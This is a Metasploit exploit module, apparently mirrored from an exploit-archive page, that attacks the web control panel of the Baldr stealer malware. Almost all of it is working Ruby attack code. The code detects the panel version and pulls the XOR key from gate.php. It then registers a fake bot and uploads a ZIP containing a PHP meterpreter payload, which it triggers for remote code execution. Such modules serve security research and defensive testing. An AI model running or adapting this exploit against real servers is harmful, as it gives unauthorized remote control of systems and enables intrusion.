Share
## https://sploitus.com/exploit?id=PACKETSTORM:158658
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',  
'Description' => %q{  
This module exploits a arbitrary file upload vulnerability within the Baldr  
stealer malware control panel. Attackers can turn this vulnerability into  
an RCE by adding a malicious PHP code inside the victim logs ZIP file and  
registering a new bot to the panel by uploading the ZIP file under logs  
directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4  
byte XOR key.  
  
This exploit module retrieves the IP spesific XOR key from panel gate  
and registers a new victim to the panel with adding the selected payload  
inside the victim logs.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ege Balcı <egebalci@pm.me>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],  
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],  
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'WfsDelay' => 5  
},  
'Platform' => [ 'php' ],  
'Arch' => [ ARCH_PHP ],  
'Targets' =>  
[  
[  
'Auto',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'<= v2.0',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'v2.2',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
],  
[  
'v3.0 & v3.1',  
{  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 19 2018',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),  
]  
)  
end  
  
def check  
if select_target  
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def select_target  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'gate.php')  
)  
if res && res.code == 200  
if res.body.include?('~;~')  
targets[3]  
elsif res.body.include?(';')  
targets[2]  
elsif res.body.size < 4  
targets[1]  
end  
end  
end  
  
def exploit  
# Forge the payload  
name = ".#{Rex::Text.rand_text_alpha(4)}"  
files =  
[  
{ data: payload.encoded, fname: "#{name}.php" }  
]  
zip = Msf::Util::EXE.to_zip(files)  
hwid = Rex::Text.rand_text_alpha(8).upcase  
  
gate_uri = normalize_uri(target_uri.path, 'gate.php')  
version = select_target  
# If not 'Auto' then use the selected version  
if target != targets[0]  
version = target  
end  
  
gate_res = send_request_cgi({  
'method' => 'GET',  
'uri' => gate_uri  
})  
os = Rex::Text.rand_text_alpha(8..12)  
  
case version  
when targets[3]  
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res  
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')  
end  
key = gate_res.body.to_s.split('~;~')[0]  
print_good("Key: #{key}")  
  
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"  
data = Rex::Text.xor(key, data)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => gate_uri,  
'data' => data.to_s  
})  
  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200  
print_good('Bot successfully registered.')  
  
data = Rex::Text.xor(key, zip.to_s)  
form = Rex::MIME::Message.new  
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'data' => form.to_s  
})  
  
if res && res.code == 200  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
register_file_for_cleanup("#{name}.php")  
else  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
when targets[2]  
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res  
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')  
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')  
end  
  
key = gate_res.body.to_s.split(';')[0]  
print_good("Key: #{key}")  
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"  
data << zip.to_s  
result = Rex::Text.xor(key, data)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'data' => result.to_s  
})  
  
unless res && res.code == 200  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
else  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => gate_uri,  
'data' => zip.to_s,  
'encode_params' => true,  
'vars_get' => {  
'hwid' => hwid,  
'os' => os,  
'cookie' => '0',  
'pswd' => '0',  
'credit' => '0',  
'wallet' => '0',  
'file' => '1',  
'autofill' => '0',  
'version' => 'v2.0'  
}  
})  
  
if res && res.code == 200  
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")  
else  
print_error("Server responded with code #{res.code}")  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')  
end  
end  
  
vprint_status('Triggering payload')  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")  
}, 3)  
end  
end